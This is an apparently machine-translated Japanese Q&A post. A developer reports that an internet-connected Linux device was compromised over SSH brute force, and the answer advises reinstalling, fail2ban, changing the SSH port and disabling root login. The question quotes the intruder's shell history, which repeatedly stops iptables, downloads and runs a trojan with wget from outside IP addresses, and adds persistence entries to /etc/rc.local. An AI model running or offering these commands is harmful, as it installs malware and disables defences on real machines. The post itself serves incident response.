質問: ハッキングされたのですか? 私は消費者製品を開発しています、そしてそれはインターネットに接続されることになっているので、予想通りに、それは私がそれを適切に開発することができるようにインターネットに接続されます。私は1時間か2時間で行きました、そして、私が私のオフィスに戻ったとき、私はターミナルにいくつかの奇妙なコマンドが書かれているのに気付きました。auth.logと呼ばれるlinuxログファイルを見ると、私は以下の行を見ることができます(他にもたくさんあります):feb 1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162 user=root feb 1 10:45:12 debian-armhf sshd[994]: failed password for root from 40.127.205.162 port 37198 ssh2 feb 1 10:45:12 debian-armhf sshd[994]: received disconnect from 40.127.205.162: 11: bye bye [preauth] ipアドレス40.127.205.162は、マイクロソフトが所有する ことがわかりました 。ここに私がいない間に使用されたコマンドの束があります: 355 service iptables stop 356 cd /tmp 357 wget http://222.186.30.209:65534/yjz1 358 chmod 0755 /tmp/yjz1 359 nohup /tmp/yjz1 > /dev/null 2>&1 & 360 chmod 777 yjz1 361 ./yjz1 362 chmod 0755 /tmp/yjz1 363 nohup /tmp/yjz1 > /dev/null 2>&1 & 364 chmod 0777 yjz1 365 chmod u+x yjz1 366 ./yjz1 & 367 chmod u+x yjz1 368 ./yjz1 & 369 wget http://222.186.30.209:65534/yjz 370 chmod 0755 /tmp/yjz 371 nohup /tmp/yjz > /dev/null 2>&1 & 372 chmod 777 yjz 373 ./yjz 374 chmod 0755 /tmp/yjz 375 nohup /tmp/yjz > /dev/null 2>&1 & 376 chmod u+x yjz 377 ./yjz & 378 chmod u+x yjz 379 ./yjz & 380 cd /tmp 381 echo "cd /tmp/">>/etc/rc.local 382 service iptables stop 383 cd /tmp 384 wget http://222.186.30.209:65534/yjz1 385 chmod 0755 /tmp/yjz1 386 nohup /tmp/yjz1 > /dev/null 2>&1 & 387 chmod 777 yjz1 388 ./yjz1 389 chmod 0755 /tmp/yjz1 390 nohup /tmp/yjz1 > /dev/null 2>&1 & 391 chmod u+x yjz1 392 ./yjz1 & 393 chmod 0777 yjz1 394 ./yjz1 & 395 echo "cd /tmp/">>/etc/rc.local 396 service iptables stop 397 wget http://222.186.30.209:65534/yjz1 398 chmod 0755 /root/yjz1 399 nohup /root/yjz1 > /dev/null 2>&1 & 400 chmod 777 yjz1 401 ./yjz1 402 chmod 0755 /root/yjz1 403 nohup /root/yjz1 > /dev/null 2>&1 & 404 chmod u+x yjz1 405 ./yjz1 & 406 chmod 0777 yjz1 407 ./yjz1 & 408 echo "cd /root/">>/etc/rc.local 409 cd /tmp 410 service iptables stop 411 wget http://222.186.30.209:65534/yjz1 412 chmod 0755 /tmp/yjz1 413 nohup /tmp/yjz1 > /dev/null 2>&1 & 414 chmod 777 yjz1 415 ./yjz1 & 416 cd /etc 417 echo "cd /root/">>/etc/rc.local 418 echo "./yjz1&">>/etc/rc.local 419 echo "./yjz1&">>/etc/rc.local 420 echo "/etc/init.d/iptables stop">>/etc/rc.local 421 cd /tmp 422 service iptables stop 423 wget http://222.186.30.209:65534/yjz1 424 chmod 0755 /tmp/yjz1 425 nohup /tmp/yjz1 > /dev/null 2>&1 & 426 chmod 777 yjz1 427 ./yjz1 & 428 cd /etc 429 echo "cd /root/">>/etc/rc.local 430 echo "./yjz1&">>/etc/rc.local 431 echo "./yjz1&">>/etc/rc.local 432 echo "/etc/init.d/iptables stop">>/etc/rc.local 433 cd /tmp 434 service iptables stop 435 wget http://222.186.30.209:65534/yjz1 436 chmod 0755 /tmp/yjz1 437 nohup /tmp/yjz1 > /dev/null 2>&1 & 438 chmod 777 yjz1 439 ./yjz1 & 440 cd /etc 441 echo "cd /root/">>/etc/rc.local 442 echo "./yjz1&">>/etc/rc.local 443 echo "./yjz1&">>/etc/rc.local 444 echo "/etc/init.d/iptables stop">>/etc/rc.local 445 service iptables stop 446 wget http://222.186.30.209:65534/yjz1 447 chmod 0755 /root/yjz1 448 nohup /root/yjz1 > /dev/null 2>&1 & 449 chmod 777 yjz1 450 ./yjz1 451 chmod 0755 /root/yjz1 452 nohup /root/yjz1 > /dev/null 2>&1 & 453 chmod 0777 yjz1 454 chmod u+x yjz1 455 ./yjz1 & 456 chmod u+x yjz1 457 ./yjz1 & もっと: 481 service iptables stop 482 wget http://222.186.30.209:65534/yjz1 483 chmod 0755 /root/yjz1 484 nohup /root/yjz1 > /dev/null 2>&1 & 485 chmod 777 yjz1 486 ./yjz1 487 chmod 0755 /root/yjz1 488 nohup /root/yjz1 > /dev/null 2>&1 & 489 chmod 0777 yjz1 490 chmod u+x yjz1 491 ./yjz1 & 492 chmod u+x yjz1 493 ./yjz1 & 494 cd /tmp 495 service iptables stop 496 wget http://175.102.133.55:2/yjz 497 ./yd_cd/make 498 service iptables stop 499 service iptables stop 500 wget http://222.186.30.209:65534/yjz1 私はこれに全く気付いていませんでした。製品を正しく保護するにはどうすればよいですか。完全なauth.logファイルを投稿したいです。それ、どうやったら出来るの?また、ダウンロードされたファイルyjz1はlinuxのトロイの木馬であるように思われます、そしてこれらすべては http://anti-hacker-alliance.comによるとある種のハッカーグループによって行われるようです。 /index.php?ip=40.127.205.162 マイクロソフトに電話して話をする必要がありますか。私は何をすべきか?
回答: 他の人が言ったように、サーバーのセキュリティが危険にさらされているのは明らかです。最も安全なことは、このマシンを拭いて再インストールすることです。公開鍵認証を使用できない場合の質問の後半部分に答えるには、少なくともfail2banを設定し、非標準ポートでsshを実行することをお勧めします。ルートsshアクセスも無効にします。 fail2ban は、特定の回数ログインに失敗したipアドレスを禁止することで総当たり攻撃を軽減するのに役立ちます。sshdを標準以外のポートでlistenするように設定すると、少なくともsshサーバーの可視性を少し低下させるのに役立ちます。ルートログオンを無効にすると、攻撃プロファイルもわずかに減少します。 /etc/sshd_config内:permitrootlogin no port xxxxx rootログインを無効にした場合は、接続後にsuでrootに切り替えるか、(より好ましくは) sudo で特権コマンドを実行する必要があります。